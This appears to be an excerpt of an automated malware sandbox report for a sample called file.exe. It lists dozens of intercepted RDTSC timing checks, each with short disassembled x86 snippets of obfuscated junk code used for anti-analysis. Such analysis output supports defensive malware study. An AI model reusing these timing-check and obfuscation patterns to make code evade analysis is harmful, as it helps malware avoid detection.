                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B5885 second address: 12B5889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B5889 second address: 12B5920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f jmp 00007F1DD489F59Eh 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F1DD489F598h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov bh, 35h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F1DD489F598h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 jno 00007F1DD489F59Ah 0x00000056 xchg eax, esi 0x00000057 jnp 00007F1DD489F59Eh 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B7796 second address: 12B77B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1DD4808497h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B77B8 second address: 12B77BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B77BC second address: 12B77C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B77C2 second address: 12B77C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B77C8 second address: 12B77F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d mov edi, dword ptr [ebp+122D2B65h] 0x00000013 sbb ebx, 02603AEBh 0x00000019 xchg eax, esi 0x0000001a jmp 00007F1DD480848Bh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B77F3 second address: 12B77F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B86F1 second address: 12B870C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808497h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B87E4 second address: 12B87E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B97C2 second address: 12B9873 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1DD4808488h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 or dword ptr [ebp+12457E45h], edi 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+12451424h], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F1DD4808488h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f pushad 0x00000050 call 00007F1DD4808499h 0x00000055 mov edi, 19F34555h 0x0000005a pop eax 0x0000005b add dword ptr [ebp+1246C223h], ebx 0x00000061 popad 0x00000062 xchg eax, esi 0x00000063 jmp 00007F1DD4808493h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F1DD4808499h 0x00000072 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B9873 second address: 12B9879 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B8A2C second address: 12B8A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BA896 second address: 12BA8F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bh, 61h 0x0000000c push 00000000h 0x0000000e sub dword ptr [ebp+122D19F4h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F1DD489F598h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov ebx, 5649716Fh 0x00000035 xchg eax, esi 0x00000036 jmp 00007F1DD489F59Fh 0x0000003b push eax 0x0000003c push esi 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B9AB5 second address: 12B9AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BD8A9 second address: 12BD8CE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD489F5A9h 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BD98E second address: 12BD992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BC8FC second address: 12BC920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD489F59Dh 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BC920 second address: 12BC938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808494h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BE807 second address: 12BE80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BFA6E second address: 12BFA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12BFA74 second address: 12BFA87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F1DD489F598h 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C26AC second address: 12C2728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 js 00007F1DD480848Ch 0x0000000d jo 00007F1DD4808486h 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov ebx, 665B8D77h 0x0000001c mov di, 4238h 0x00000020 push 00000000h 0x00000022 jmp 00007F1DD4808493h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F1DD4808488h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 push esi 0x00000044 mov edi, dword ptr [ebp+122D2D2Eh] 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jbe 00007F1DD480849Ch 0x00000054 jmp 00007F1DD4808496h 0x00000059 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C186A second address: 12C186F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12CA3E7 second address: 12CA3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C9AD1 second address: 12C9ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F1DD489F596h 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C9D8B second address: 12C9DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD4808486h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jng 00007F1DD4808486h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C9ED2 second address: 12C9ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C9ED9 second address: 12C9EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12C9EE3 second address: 12C9F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1DD489F5A8h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12CE78F second address: 12CE7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F1DD4808486h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12CE7A1 second address: 12CE7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12CE7A7 second address: 12CE7AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12CE8B4 second address: 12CE8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D40C1 second address: 12D40E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F1DD4808496h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D40E1 second address: 12D40F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1DD489F5A0h 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D40F8 second address: 12D4100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 125F5BF second address: 125F5CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 125F5CB second address: 125F5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D36EC second address: 12D370F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F5A8h 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D385B second address: 12D387D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808496h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F1DD4808488h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D964A second address: 12D964E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D964E second address: 12D966F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD480848Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F1DD4808486h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D97BB second address: 12D97C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D9927 second address: 12D993E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Dh 0x00000007 jg 00007F1DD480848Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D9C02 second address: 12D9C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1DD489F596h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F1DD489F5A3h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F1DD489F596h 0x00000020 jmp 00007F1DD489F5A5h 0x00000025 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D9D93 second address: 12D9D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D9345 second address: 12D9377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1DD489F5A9h 0x0000000e push esi 0x0000000f jmp 00007F1DD489F59Eh 0x00000014 pop esi 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12D9377 second address: 12D939B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808490h 0x00000009 jmp 00007F1DD4808490h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12DA2F8 second address: 12DA307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Ah 0x00000009 popad 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12DA307 second address: 12DA30E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12DA582 second address: 12DA58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1DD489F596h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1267DCC second address: 1267DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1267DD2 second address: 1267DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F1DD489F5A4h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1267DF1 second address: 1267DF7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1267DF7 second address: 1267E0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1DD489F598h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d js 00007F1DD489F59Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E07D0 second address: 12E07E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1DD4808486h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e je 00007F1DD48084A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E07E8 second address: 12E07F6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E07F6 second address: 12E07FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7457 second address: 12E7478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1DD489F5A6h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7478 second address: 12E7497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD4808493h 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7648 second address: 12E764D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7A3B second address: 12E7A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7A41 second address: 12E7A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7A46 second address: 12E7A74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F1DD4808486h 0x00000009 jc 00007F1DD4808486h 0x0000000f jne 00007F1DD4808486h 0x00000015 jmp 00007F1DD4808495h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7F36 second address: 12E7F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7F3B second address: 12E7F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12E7F43 second address: 12E7F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F1DD489F59Ch 0x00000010 jo 00007F1DD489F596h 0x00000016 ja 00007F1DD489F596h 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jnl 00007F1DD489F596h 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push ecx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1293243 second address: 1293247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1293247 second address: 1293263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1293263 second address: 129326B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129326B second address: 129326F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A905B second address: 12A905F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A905F second address: 12A90A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov cl, 07h 0x0000000c lea eax, dword ptr [ebp+1247ED9Eh] 0x00000012 call 00007F1DD489F5A1h 0x00000017 sub edx, dword ptr [ebp+122D2E22h] 0x0000001d pop ecx 0x0000001e mov ecx, dword ptr [ebp+122D2C5Ah] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1DD489F5A5h 0x0000002c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A90A7 second address: 12A90AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A941A second address: 12A9425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1DD489F596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9425 second address: 12A9431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9528 second address: 12A952C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A952C second address: 12A9532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9532 second address: 12A9548 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1DD489F598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F1DD489F59Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A98B0 second address: 12A98B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9E79 second address: 12A9E7F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
